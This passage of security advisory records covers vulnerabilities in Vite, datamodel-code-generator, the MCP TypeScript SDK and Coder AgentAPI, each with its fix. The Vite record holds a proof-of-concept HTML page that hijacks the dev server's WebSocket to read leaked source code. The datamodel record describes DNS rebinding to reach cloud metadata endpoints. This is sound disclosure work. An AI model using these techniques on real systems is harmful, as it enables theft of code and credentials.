paths of the files that changed and the file content where the error happened be stolen by malicious websites.\n\nFor users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.\n\nFor users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.\n\n#### [3]: Lack of validation on the Host header for HTTP requests\nUsers using HTTP for the development server and using a browser that is not Chrome 94+ may:\n\n- get the source code stolen by malicious websites\n- give the attacker access to functionalities that are not supposed to be exposed externally\n  - Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind `server.proxy` may have those functionalities.\n\nChrome 94+ users are not affected for [3], because [sending a request to a private network page from public non-HTTPS page is forbidden](https://developer.chrome.com/blog/private-network-access-update#chrome_94) since Chrome 94.\n\n### Related Information\nSafari has [a bug that blocks requests to loopback addresses from HTTPS origins](https://bugs.webkit.org/show_bug.cgi?id=171934). This means when the user is using Safari and Vite is listening on lookback addresses, there\u0027s another condition of \"the malicious web page is served on HTTP\" to make [1] and [2] to work.\n\n### PoC\n#### [2]: Lack of validation on the Origin header for WebSocket connections\n1. I used the `react` template which utilizes HMR functionality.\n\n```\nnpm create vite@latest my-vue-app-react -- --template react\n```\n\n2. Then on a malicious server, serve the following POC html:\n```html\n\u003c!doctype html\u003e\n\u003chtml lang=\"en\"\u003e\n    \u003chead\u003e\n        \u003cmeta charset=\"utf-8\" /\u003e\n        \u003ctitle\u003evite CSWSH\u003c/title\u003e\n    \u003c/head\u003e\n    \u003cbody\u003e\n        \u003cdiv id=\"logs\"\u003e\u003c/div\u003e\n        \u003cscript\u003e\n            const div = document.querySelectorAll(\u0027#logs\u0027)[0];\n            const ws = new WebSocket(\u0027ws://localhost:5173\u0027,\u0027vite-hmr\u0027);\n            ws.onmessage = event =\u003e {\n                const logLine = document.createElement(\u0027p\u0027);\n                logLine.innerHTML = event.data;\n                div.append(logLine);\n            };\n        \u003c/script\u003e\n    \u003c/body\u003e\n\u003c/html\u003e\n```\n\n3. Kick off Vite \n\n```\nnpm run dev\n```\n\n4. Load the development server (open `http://localhost:5173/`) as well as the malicious page in the browser. \n5. Edit `src/App.jsx` file and intentionally place a syntax error\n6. Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed\n\nHere\u0027s a video demonstrating the POC:\n\nhttps://github.com/user-attachments/assets/a4ad05cd-0b34-461c-9ff6-d7c8663d6961",
  "id": "GHSA-vg6x-rcgg-rjx6",
  "modified": "2025-02-07T17:38:57Z",
  "published": "2025-01-21T19:52:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/security/advisories/GHSA-vg6x-rcgg-rjx6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24010"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vitejs/vite"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Websites were able to send any requests to the development server and read the response in vite"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.62.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "datamodel-code-generator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.63.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55391"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-350",
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T21:45:48Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`datamodel-code-generator`\u0027s anti-SSRF guard validates the resolved IP of a fetch target once and then lets `httpx` perform its own independent DNS resolution to connect, so the validated address is never pinned. A hostname that resolves to a public IP at validation time and a private IP at connection time (DNS rebinding) bypasses the guard and reaches loopback, link-local cloud-metadata endpoints (`169.254.169.254`), and other internal services \u2014 even with the default `allow_private_network=False`. This is a server-side request forgery reachable when the tool fetches an attacker-influenced URL (remote `$ref`, or `--url`).\n\n### Details\n\nIn `src/datamodel_code_generator/http.py`, `get_body()` calls `_validate_url_for_fetch()`, which resolves the host via `_get_ips_from_host()` (`socket.getaddrinfo`) and rejects non-global addresses:\n\n```python\nips = _get_ips_from_host(host)            # resolution #1 (validation)\nif not ips: return\nif all(_is_safe_ip(ip) for ip in ips): return\nraise SchemaFetchError(...)               # blocks private/link-local/reserved\n```\n\nIt then connects with a separate, independent resolution:\n\n```python\nresponse = httpx.get(current_url, ...)    # resolution #2 (connection) -- NOT pinned to #1\n```\n\nNothing ties the connection to the IP that passed validation. Between the two resolutions a low-TTL attacker-controlled record can flip from a public address (passes the guard) to a private one (used by the connection). The redirect-handling loop in the same function does correctly re-validate each redirect URL, so this is specifically a TOCTOU/rebinding gap in the host-to-IP check, not a redirect issue.\n\n### PoC\n\nSelf-contained reproducer: https://gist.github.com/thegr1ffyn/c1d54dd6ff2a4c0d7d0dabe00c4985f4 \nIt starts a loopback HTTP server standing in for an internal target and patches `socket.getaddrinfo` to return a public IP on the guard\u0027s lookup and `127.0.0.1` on httpx\u0027s  the standard deterministic way to demonstrate this TOCTOU class (the real-world trigger is a low-TTL rebinding DNS record the attacker controls). \n\nReachability in normal use: the attacker registers a rebinding hostname and gets the tool to fetch `http://that-host/schema.json` either via `--url` or via a remote `$ref` in a supplied schema (remote refs are fetched on the default configuration).\n\n### Impact\n\nServer-side request forgery (CWE-918) via a time-of-check/time-of-use resolution gap (CWE-367). Any service or CI pipeline that runs `datamodel-code-generator` against attacker-influenced URLs is affected, including deployments that rely on the default private-network protection. Consequences include reading cloud instance-metadata credentials (`169.254.169.254`), reaching internal-only HTTP services, and port/host probing of the internal network, the document fetched from the internal target is also parsed and can be reflected into the generated output.\n\n### Maintainer status\n\nConfirmed by maintainer review and regression tests. The private fix PR was merged and released in `0.63.0`: https://github.com/koxudaxi/datamodel-code-generator-ghsa-vx7x-vcc2-c44g/pull/1\n\nFix summary: pin the validated DNS result set during the HTTP fetch so a host cannot resolve to a safe address during validation and a different address during connection.\n\nRelease status: fixed in `0.63.0`; `0.62.0` and earlier are affected.\n\nValidation: `uv run --group test --extra http pytest tests/test_http.py` passed locally for DNS pinning and URL-fetch regression coverage; `uv run --group fix ruff check src/datamodel_code_generator/http.py tests/test_http.py` passed.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "id": "GHSA-vx7x-vcc2-c44g",
  "modified": "2026-07-28T21:45:48Z",
  "published": "2026-07-28T21:45:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/security/advisories/GHSA-vx7x-vcc2-c44g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/commit/25c8b7e497419eb20b230fa3318c04f9bebc5a6f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/koxudaxi/datamodel-code-generator"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/releases/tag/0.63.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "datamodel-code-generator vulnerable to SSRF protection bypass via DNS rebinding"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@modelcontextprotocol/sdk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66414"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-02T16:51:57Z",
    "nvd_published_at": "2025-12-02T19:15:52Z",
    "severity": "HIGH"
  },
  "details": "The Model Context Protocol (MCP) TypeScript SDK does not enable DNS rebinding protection by default for HTTP-based servers. When an HTTP-based MCP server is run on localhost without authentication with `StreamableHTTPServerTransport` or `SSEServerTransport` and has not enabled `enableDnsRebindingProtection`, a malicious website could exploit DNS rebinding to bypass same-origin policy restrictions and send requests to the local MCP server. This could allow an attacker to invoke tools or access resources exposed by the MCP server on behalf of the user in those limited circumstances.\n\nNote that running HTTP-based MCP servers locally without authentication is not recommended per MCP security best practices. This issue does not affect servers using stdio transport.\n\nServers created via `createMcpExpressApp()` now have this protection enabled by default when binding to localhost. Users with custom Express configurations are advised to update to version `1.24.0` and apply the exported `hostHeaderValidation()` middleware when running an unauthenticated server on localhost.",
  "id": "GHSA-w48q-cv73-mx4w",
  "modified": "2025-12-02T21:43:49Z",
  "published": "2025-12-02T16:51:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/typescript-sdk/security/advisories/GHSA-w48q-cv73-mx4w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66414"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/typescript-sdk/pull/1205"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/typescript-sdk/commit/09623e2aa5044f9e9da62c73d820a8250b9d97ed"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/typescript-sdk/commit/608360047dc6899f1cf4f0226eb62fe7b11b3898"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/modelcontextprotocol/typescript-sdk"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Model Context Protocol (MCP) TypeScript SDK does not enable DNS rebinding protection by default"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coder/agentapi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59956"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-29T20:40:26Z",
    "nvd_published_at": "2025-09-30T11:37:41Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nAgentAPI prior to version [0.4.0](https://github.com/coder/agentapi/releases/tag/v0.4.0) was susceptible to a client-side DNS rebinding attack when hosted over plain HTTP on localhost.\n\n### Impact\nAn attacker could have gained access to the `/messages` endpoint served by the Agent API. This allowed for the unauthorized exfiltration of sensitive user data, specifically local message history, which could\u0027ve included secret keys, file system contents, and intellectual property the user was working on locally.\n\n### Remediation\nWe\u0027ve [implemented](https://github.com/coder/agentapi/pull/49) an `Origin` and `Host` header validating middleware and set a secure by default configuration.\n\nPlease upgrade to version [0.4.0](https://github.com/coder/agentapi/releases/tag/v0.4.0) or later.\n\n### Credits\nWe\u0027d like to thank [Evan Harris](https://github.com/eharris128) from [mcpsec.dev](https://mcpsec.dev/) for reporting this issue and following the coordinated disclosure [policy](https://coder.com/security/policy).",
  "id": "GHSA-w64r-2g3w-w8w4",
  "modified": "2025-10-23T20:33:23Z",
  "published": "2025-09-29T20:40:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/coder/agentapi/security/advisories/GHSA-w64r-2g3w-w8w4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59956"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/agentapi/pull/49"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/agentapi/commit/5c425c62447b8a9eac19e9fc5a2eae7f0803f149"
    },
    {
      "type": "WEB",
      "url": "https://github.blog/security/application-security/localhost-dangers-cors-and-dns-rebinding"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/coder/agentapi"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/agentapi/releases/tag/v0.4.0"
    },
    {
      "type": "WEB",
      "url": "https://mcpsec.dev/advisories/2025-09-19-coder-chat-exfiltration"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3991"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Coder AgentAPI exposed user chat history via a DNS rebinding attack"
}